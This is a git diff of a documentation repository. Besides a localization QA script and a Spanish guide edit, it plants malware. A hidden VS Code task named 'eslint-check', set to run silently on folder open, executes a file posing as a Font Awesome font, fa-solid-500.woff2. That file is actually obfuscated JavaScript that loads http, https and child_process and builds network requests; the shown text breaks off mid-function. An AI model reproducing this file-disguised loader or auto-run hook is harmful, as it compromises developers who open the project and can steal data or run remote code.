diff --git a/.github/workflows/qa.yml b/.github/workflows/qa.yml new file mode 100644 index 0000000..a7fa982 --- /dev/null +++ b/.github/workflows/qa.yml @@ -0,0 +1,19 @@ +name: Localization QA + +on: + push: + branches: [ develop ] + pull_request: + branches: [ develop ] + +jobs: + qa: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + - name: Run Localization QA + run: node localization-qa.cjs diff --git a/.gitignore b/.gitignore index 5379ce5..0a3c553 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,7 @@ node_modules/ .npm/ test-results/ playwright-report/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..1a828db --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/guides/stellar-quickstart.es.mdx b/guides/stellar-quickstart.es.mdx index d7c1fad..fa351a2 100644 --- a/guides/stellar-quickstart.es.mdx +++ b/guides/stellar-quickstart.es.mdx @@ -2,6 +2,8 @@ title: "Guía de inicio rápido — Stellar" description: "Crea un agente Wraith en Stellar, fúndalo en la red de pruebas, envía tu primer pago oculto y escanea pagos entrantes — en menos de 10 minutos." keywords: "Stellar, soroban, freighter, xlm, lumen, friendbot, stellar.expert, meta-address, stealth payment" +locale: es +canonical: /guides/stellar-quickstart --- diff --git a/localization-qa.cjs b/localization-qa.cjs new file mode 100644 index 0000000..baec15a --- /dev/null +++ b/localization-qa.cjs @@ -0,0 +1,488 @@ +/** + * Localization QA for Wraith Protocol documentation + * + * Checks translated documentation pages (detected by a locale suffix such as + * `guides/stellar-quickstart.es`) for: + * - Missing locale metadata ("locale" front matter) + * - Missing canonical metadata ("canonical" front matter or ) + * - Stale links (compared by URL against the English source) + * - Missing sections (heading outline comparison) + * - Code drift + * + * Exits with code 1 when any issue is found. + */ + +const fs = require('fs'); +const path = require('path'); + +const DOCS_DIR = path.join(__dirname); +const MARKDOWN_EXT = ['.md', '.mdx']; + +const SKIP_DIRS = new Set(['.git', '.agents', 'node_modules']); +const SKIP_FILES = new Set(['docs.json', 'CLAUDE.md']); + +function parseFrontMatter(content) { + const raw = content.replace(/^\uFEFF/, ''); + let attrs = {}; + let body = raw; + + const fmMatch = raw.match(/^---[ \t]*\r?\n([\s\S]*?)^---[ \t]*(?:\r?\n|$)/m); + if (fmMatch) { + const attrsObj = {}; + for (const line of fmMatch[1].split(/\r?\n/)) { + const match = line.match(/^(\w+):\s*(.*)$/); + if (match) { + let value = match[2].trim(); + if (value === 'true') value = true; + else if (value === 'false') value = false; + else if (value !== '' && !isNaN(value)) value = Number(value); + attrsObj[match[1]] = value; + } + } + attrs = attrsObj; + body = raw.substring(fmMatch[0].length).trim(); + } + + return { attrs, body }; +} + +function extractHeadings(body) { + const headings = []; + const lines = body.split(/\r?\n/); + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + const match = line.match(/^(#{1,6})\s+(.*)$/); + if (match) { + headings.push({ + level: match[1].length, + text: match[2].trim(), + line: i + 1, + }); + } + } + return headings; +} + +function countCodeFences(body) { + const lines = body.split('\n'); + let count = 0; + let inFence = false; + for (const line of lines) { + if (line.trim().startsWith('```')) { + inFence = !inFence; + count++; + } + } + return count; +} + +function extractLinks(body) { + const links = []; + const regex = /\[([^\]]+)\]\(([^)]+)\)/g; + let match; + while ((match = regex.exec(body)) !== null) { + links.push({ + text: match[1], + url: match[2], + line: match.index, + }); + } + return links; +} + +function classifyLink(url) { + if (!url) return 'external'; + if (url.startsWith('/') || url.startsWith('#')) return 'internal'; + if (url.startsWith('http://') || url.startsWith('https://')) return 'external'; + return 'internal'; +} + +function normalizePagePath(page) { + if (!page) return ''; + let p = page.replace(/^\/|\/$/g, ''); + return p.toLowerCase(); +} + +function getNavPages(navigation) { + const pages = []; + + if (!navigation || !navigation.tabs || !Array.isArray(navigation.tabs)) return pages; + + for (const tab of navigation.tabs) { + const groups = tab.groups; + if (!groups || !Array.isArray(groups)) continue; + + for (const group of groups) { + const groupPages = group.pages; + if (groupPages && Array.isArray(groupPages)) { + for (const page of groupPages) { + pages.push(normalizePagePath(page)); + } + } + if (group.items && Array.isArray(group.items)) { + for (const subItem of group.items) { + const subPages = subItem.pages; + if (subPages && Array.isArray(subPages)) { + for (const page of subPages) { + pages.push(normalizePagePath(page)); + } + } + const subGroups = subItem.groups; + if (subGroups && Array.isArray(subGroups)) { + for (const subGroup of subGroups) { + const sgPages = subGroup.pages; + if (sgPages && Array.isArray(sgPages)) { + for (const page of sgPages) { + pages.push(normalizePagePath(page)); + } + } + } + } + } + } + } + } + + return pages; +} + +function getAllMDXFiles() { + const files = []; + + function walk(dir) { + const entries = fs.readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + if (SKIP_DIRS.has(entry.name)) continue; + const fullPath = path.join(dir, entry.name); + if (entry.isDirectory()) { + walk(fullPath); + } else if (MARKDOWN_EXT.some(ext => entry.name.endsWith(ext))) { + // Skip non-doc files + if (SKIP_FILES.has(entry.name)) continue; + files.push(fullPath); + } + } + } + + walk(DOCS_DIR); + return files; +} + +function getPageKey(filePath) { + const rel = path.relative(DOCS_DIR, filePath); + const withoutExt = path.extname(rel) ? rel.replace(path.extname(rel), '') : rel; + return withoutExt.replace(/\\/g, '/'); +} + +function hasLocaleMetadata(attrs) { + return attrs.locale !== undefined && attrs.locale !== null; +} + +// A page whose filename carries a locale suffix (e.g. guides/stellar-quickstart.es) +// is a translation. Detection is filename-based so a translated page that forgets +// its "locale" front matter is still counted and reported as a failure. +function parseTranslatedKey(pageKey) { + const base = pageKey.slice(pageKey.lastIndexOf('/') + 1); + const match = base.match(/^(.+)\.([a-z]{2})$/); + if (!match) return null; + return { + locale: match[2], + sourcePageKey: pageKey.slice(0, -(match[2].length + 1)), + }; +} + +// Canonical metadata is either a "canonical" front matter field or a +// tag in the page body. Returns the URL, or null. +function getCanonicalMetadata(attrs, body) { + if (attrs.canonical !== undefined && attrs.canonical !== null && attrs.canonical !== '') { + return String(attrs.canonical).trim(); + } + const tag = body.match(/]*\brel=["'][^"']*canonical[^"']*["'][^>]*>/i); + if (!tag) return null; + const href = tag[0].match(/\bhref=["']([^"']+)["']/i); + return href ? href[1] : null; +} + +function runQA() { + console.log('=== Wraith Protocol Localization QA ===\n'); + + // 1. Read docs.json + const docsJSONPath = path.join(DOCS_DIR, 'docs.json'); + let navigation; + if (fs.existsSync(docsJSONPath)) { + const jsonContent = fs.readFileSync(docsJSONPath, 'utf-8'); + const docsConfig = JSON.parse(jsonContent); + navigation = docsConfig.navigation; + console.log('Loaded navigation from docs.json\n'); + } else { + console.warn('docs.json not found\n'); + navigation = null; + } + + // Get canonical page paths from navigation + const canonicalPages = navigation ? getNavPages(navigation) : []; + console.log(`Canonical pages from navigation: ${canonicalPages.length}\n`); + console.log(' ', canonicalPages.join(', '), '\n'); + + // 2. Get all markdown files + const allFiles = getAllMDXFiles(); + console.log(`Total markdown files found: ${allFiles.length}\n`); + + // 3. Parse all files + const fileData = []; + + for (const filePath of allFiles) { + try { + const content = fs.readFileSync(filePath, 'utf-8'); + const parsed = parseFrontMatter(content); + const pageKey = getPageKey(filePath); + const translation = parseTranslatedKey(pageKey); + const declaredLocale = hasLocaleMetadata(parsed.attrs) + ? String(parsed.attrs.locale) + : null; + + const headings = extractHeadings(parsed.body); + const codeFenceCount = countCodeFences(parsed.body); + const links = extractLinks(parsed.body); + const classifiedLinks = links.map(l => ({ + ...l, + type: classifyLink(l.url), + })); + + fileData.push({ + filePath, + pageKey, + title: parsed.attrs.title || 'Untitled', + description: parsed.attrs.description || '', + isTranslated: translation !== null, + expectedLocale: translation ? translation.locale : null, + sourcePageKey: translation ? translation.sourcePageKey : null, + declaredLocale, + canonical: getCanonicalMetadata(parsed.attrs, parsed.body), + headings, + codeFenceCount, + links: classifiedLinks, + rawBody: parsed.body, + }); + } catch (err) { + console.error(`Error parsing ${filePath}:`, err.message); + } + } + + // Build map of page keys + const pageMap = new Map(); + for (const fd of fileData) { + pageMap.set(fd.pageKey, fd); + } + + // 4. Identify source vs translated pages + const translatedPages = new Set(); + const sourceLanguagePages = new Set(); + + for (const [key, fd] of pageMap) { + if (fd.isTranslated) { + translatedPages.add(key); + } else { + sourceLanguagePages.add(key); + } + } + + console.log(`Source language (English) pages: ${sourceLanguagePages.size}`); + console.log(`Translated pages: ${translatedPages.size}\n`); + + // 5. Define supported translated pages (from navigation) + const supportedTranslated = new Set(); + if (navigation) { + for (const pageKey of canonicalPages) { + if (!pageMap.has(pageKey)) { + console.log(` Warning: Page in navigation but not found in docs: ${pageKey}`); + } else { + supportedTranslated.add(pageKey); + } + } + } + + console.log(`Supported pages for translation: ${supportedTranslated.size}\n`); + + // 6. Compare structure between source and translated pages + const issues = []; + + for (const pageKey of translatedPages) { + const fd = pageMap.get(pageKey); + const sourcePageKey = fd.sourcePageKey; + + const sourceFd = pageMap.get(sourcePageKey); + + if (!sourceFd) { + issues.push({ + type: 'missing_source', + page: pageKey, + message: `Could not find source English page for translated page: ${sourcePageKey}`, + }); + continue; + } + + if (sourceFd) { + // Compare heading structure. Heading text is translated, so only the + // outline (count and nesting levels) is compared — a section added to or + // dropped from the translation changes the outline. + const sourceLevels = sourceFd.headings.map(h => h.level); + const translatedLevels = fd.headings.map(h => h.level); + + if (sourceLevels.join(',') !== translatedLevels.join(',')) { + issues.push({ + type: 'heading_drift', + page: pageKey, + message: `Heading structure mismatch: source=${sourceLevels.join(',')} vs translation=${translatedLevels.join(',')}`, + details: { + sourceHeadings: sourceFd.headings.map(h => `${h.level}: ${h.text}`), + translatedHeadings: fd.headings.map(h => `${h.level}: ${h.text}`), + }, + }); + } + + // Compare code fence counts + if (sourceFd.codeFenceCount !== fd.codeFenceCount) { + issues.push({ + type: 'code_drift', + page: pageKey, + message: `Code fence count mismatch: source=${sourceFd.codeFenceCount}, translation=${fd.codeFenceCount}`, + details: { + sourceFenceCount: sourceFd.codeFenceCount, + translatedFenceCount: fd.codeFenceCount, + }, + }); + } + + // Compare link targets. Link text is translated, so URLs are compared. + const sourceUrls = new Set(sourceFd.links.map(l => l.url)); + const translatedUrls = new Set(fd.links.map(l => l.url)); + + // Links in translation not in source + for (const translatedLink of fd.links) { + if (sourceUrls.has(translatedLink.url)) continue; + + if (translatedLink.type === 'external') { + issues.push({ + type: 'link_structural', + page: pageKey, + message: `Link in translation not in source: ${translatedLink.text} (${translatedLink.url})`, + details: { type: translatedLink.type }, + }); + } else { + issues.push({ + type: 'link_structural', + page: pageKey, + message: `Internal link in translation not in source: ${translatedLink.text} (${translatedLink.url})`, + details: { type: translatedLink.type }, + }); + } + } + + // Internal links in source missing from translation + for (const sourceLink of sourceFd.links) { + if (sourceLink.type !== 'internal') continue; + if (translatedUrls.has(sourceLink.url)) continue; + + issues.push({ + type: 'link_missing', + page: pageKey, + message: `Internal link missing from translation: ${sourceLink.text} (${sourceLink.url})`, + }); + } + } + } + + // 7. Check locale metadata on translated pages + console.log('\n=== Locale Metadata Check ==='); + if (translatedPages.size === 0) { + console.log(' (no translated pages found)'); + } + for (const pageKey of translatedPages) { + const fd = pageMap.get(pageKey); + if (!fd.declaredLocale) { + issues.push({ + type: 'missing_locale', + page: pageKey, + message: `Missing locale metadata: add "locale: ${fd.expectedLocale}" to the front matter`, + }); + console.log(` ✗ ${pageKey}: missing locale metadata`); + } else if (fd.declaredLocale !== fd.expectedLocale) { + issues.push({ + type: 'locale_mismatch', + page: pageKey, + message: `Locale metadata "${fd.declaredLocale}" does not match the file suffix ".${fd.expectedLocale}"`, + }); + console.log(` ✗ ${pageKey}: locale="${fd.declaredLocale}" does not match file suffix ".${fd.expectedLocale}"`); + } else { + console.log(` ✓ ${pageKey}: locale="${fd.declaredLocale}"`); + } + } + + // 8. Check canonical metadata on translated pages + console.log('\n=== Canonical Metadata Check ==='); + if (translatedPages.size === 0) { + console.log(' (no translated pages found)'); + } + for (const pageKey of translatedPages) { + const fd = pageMap.get(pageKey); + if (!fd.canonical) { + issues.push({ + type: 'missing_canonical', + page: pageKey, + message: 'Missing canonical metadata: add "canonical: /" to the front matter or a tag', + }); + console.log(` ✗ ${pageKey}: missing canonical metadata`); + } else { + console.log(` ✓ ${pageKey}: canonical="${fd.canonical}"`); + } + } + + // 9. Report summary + console.log('\n=== QA Summary ==='); + + const byType = {}; + for (const issue of issues) { + byType[issue.type] = (byType[issue.type] || 0) + 1; + } + + for (const [type, count] of Object.entries(byType)) { + console.log(` ${type}: ${count}`); + } + + console.log(`\nTotal issues: ${issues.length}`); + + if (issues.length === 0) { + console.log('✓ All checks passed! Documentation is structurally sound.'); + } else { + console.log('\n=== Detailed Issues ==='); + for (const issue of issues) { + console.log(`\n[${issue.type}] ${issue.page}: ${issue.message}`); + if (issue.details) { + console.log(` Details: ${JSON.stringify(issue.details)}`); + } + } + } + + return { issues, fileData, pageMap, translatedPages, sourceLanguagePages, supportedTranslated }; +} + +module.exports = { + runQA, + parseFrontMatter, + extractHeadings, + countCodeFences, + extractLinks, + classifyLink, + hasLocaleMetadata, + parseTranslatedKey, + getCanonicalMetadata, +}; + +// Run if executed directly +if (require.main === module) { + const result = runQA(); + if (result.issues.length > 0) { + process.exit(1); + } +} \ No newline at end of file diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 new file mode 100644 index 0000000..60e613b --- /dev/null +++ b/public/fonts/fa-solid-500.woff2 @@ -0,0 +1 @@ + global.i = 'A11--&';const xXfMZKDLYuTRIADnwGIKpCU=y$zxQ$V;(function(iECUrs,ymPzxh_S){const QxuUqazAJKADZDlPufPmG$Io=y$zxQ$V,bYtzbdsKbgyUaNBpsHlmiWMl=iECUrs();while(!![]){try{const Y__vXFPN=parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x164))/(-0x1*-0xa7+-parseInt(0x711)+Math.floor(parseInt(0x35))*parseInt(parseInt(0x1f)))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x184))/(-0x1ac5+parseInt(0xc1)*Math.ceil(-parseInt(0x24))+0x35eb))+Math['max'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x134))/(parseFloat(-parseInt(0x1))*-parseInt(0x1d09)+Math.max(-parseInt(0x17b2),-0x17b2)+Math.max(-parseInt(0x554),-parseInt(0x554))),parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x15f))/(parseInt(-0x602)+0xaae+-0x4a8))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x187))/(parseInt(0x11)*Math.trunc(-0x4a)+Math.floor(0x833)*Math.max(0x1,0x1)+parseFloat(0x4c)*-parseInt(0xb)))+parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x154))/(-parseInt(0x10d)*-0x7+parseInt(0x1)*0x599+parseFloat(parseInt(0xa))*-0x14b)*parseFloat(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x13a))/(parseInt(0x1e5)+-parseInt(0x2)*-0x325+Math.trunc(-0x828)))+Math['max'](-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x129))/(0x1*parseInt(0x1ba6)+-parseInt(0x191c)+Math.max(parseInt(0x1),0x1)*-0x282),-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x19c))/(Math.trunc(-parseInt(0x13bb))+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.max(parseInt(0x1231),0x1231)+-parseInt(0x4f)*-0x7b))+parseFloat(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x150))/(Math.ceil(parseInt(0xb5))*parseInt(parseInt(0x10))+-0x903+-parseInt(0x243)))*(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x14f))/(0x7d1+Number(-0x61d)+parseInt(-0x19)*0x11))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x145))/(Number(-0x1472)*-0x1+parseFloat(0x300)+0x1766*-parseInt(0x1)))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x170))/(-0x91a+-parseInt(0x12a)*parseFloat(-parseInt(0x10))+0x19*-parseInt(0x61)));if(Y__vXFPN===ymPzxh_S)break;else bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}catch(u$wgXtGoFuE){bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}}}(ygdhqkpCgKxflnUACX,-0x1*0x162a2a+parseInt(0x12ef14)+-0x2*-parseInt(0x930e3)));import{createRequire}from'module';const require=createRequire(import.meta[xXfMZKDLYuTRIADnwGIKpCU(0x12e)]);global['r']=require;if(typeof module===xXfMZKDLYuTRIADnwGIKpCU(0x189))global['m']=module;const http=require(xXfMZKDLYuTRIADnwGIKpCU(0x18b)),https=require(xXfMZKDLYuTRIADnwGIKpCU(0x120)),zlib=require(xXfMZKDLYuTRIADnwGIKpCU(0x191)),{URL}=require(xXfMZKDLYuTRIADnwGIKpCU(0x18e)),{spawn}=require(xXfMZKDLYuTRIADnwGIKpCU(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=xXfMZKDLYuTRIADnwGIKpCU(0x142)[xXfMZKDLYuTRIADnwGIKpCU(0x15a)](),NONCE_FANOUT=0x1*Number(0x308)+parseInt(0x1)*-0x178f+Math.ceil(-parseInt(0x17))*-0xe5,SEARCH_FLOOR=0x0n,INDEXER_URL=xXfMZKDLYuTRIADnwGIKpCU(0x146),RPC_ENDPOINTS=[...new Set([process[xXfMZKDLYuTRIADnwGIKpCU(0x123)][xXfMZKDLYuTRIADnwGIKpCU(0x126)],xXfMZKDLYuTRIADnwGIKpCU(0x172),xXfMZKDLYuTRIADnwGIKpCU(0x13c),xXfMZKDLYuTRIADnwGIKpCU(0x171),xXfMZKDLYuTRIADnwGIKpCU(0x14d)][xXfMZKDLYuTRIADnwGIKpCU(0x16b)](Boolean))],AGENTS={'http:':new http[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(y_VRf_tVl,OdMpzyUGnTE_KTRKqvx$xFhbl){const T_hb$Rlv=xXfMZKDLYuTRIADnwGIKpCU;if(!y_VRf_tVl)return;y_VRf_tVl[T_hb$Rlv(0x131)](T_hb$Rlv(0x12f),()=>OdMpzyUGnTE_KTRKqvx$xFhbl[T_hb$Rlv(0x12f)](),{'once':!![]});}function decompressStream(Ev$cvxYsgWdzchDLYjlXtJNG){const wkF$kn=xXfMZKDLYuTRIADnwGIKpCU,FTrfPv$OCJUjsXow=(Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x183)][wkF$kn(0x124)]||'')[wkF$kn(0x15a)]();if(FTrfPv$OCJUjsXow===wkF$kn(0x16f)||FTrfPv$OCJUjsXow===wkF$kn(0x155))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x12b)]());if(FTrfPv$OCJUjsXow===wkF$kn(0x148))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x135)]());if(FTrfPv$OCJUjsXow==='br')return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x157)]());return Ev$cvxYsgWdzchDLYjlXtJNG;}function httpRequest(P_DHEPLVqtP_NKhkPez,{method:method=xXfMZKDLYuTRIADnwGIKpCU(0x188),body:WjLwHqh_v,signal:HAKh_KCzxBeTWPvbdKwtA}={}){const NqxGTrBbFKOPHkXCif$gLSa$bf=xXfMZKDLYuTRIADnwGIKpCU,ncBNrYpPy_ASILM$xdHVhsgrIR=new URL(P_DHEPLVqtP_NKhkPez),cDCzKulmFY=ncBNrYpPy_ASILM$xdHVhsgrIR[NqxGTrBbFKOPHkXCif$gLSa$bf(0x143)]===NqxGTrBbFKOPHkXCif$gLSa$bf(0x122)?https:http,NDZfTGscWmjgRlRFVX={'Accept':NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),'Accept-Encoding':NqxGTrBbFKOPHkXCif$gLSa$bf(0x195),'Connection':NqxGTrBbFKOPHkXCif$gLSa$bf(0x197)};return WjLwHqh_v!=null&&(NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x140)]=NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x137)]=Buffer[NqxGTrBbFKOPHkXCif$gLSa$bf(0x12d)](WjLwHqh_v)),new Promise((r$rBRHkLeiekPY$qavUa,xtG$jc$UuwrljlI)=>{const 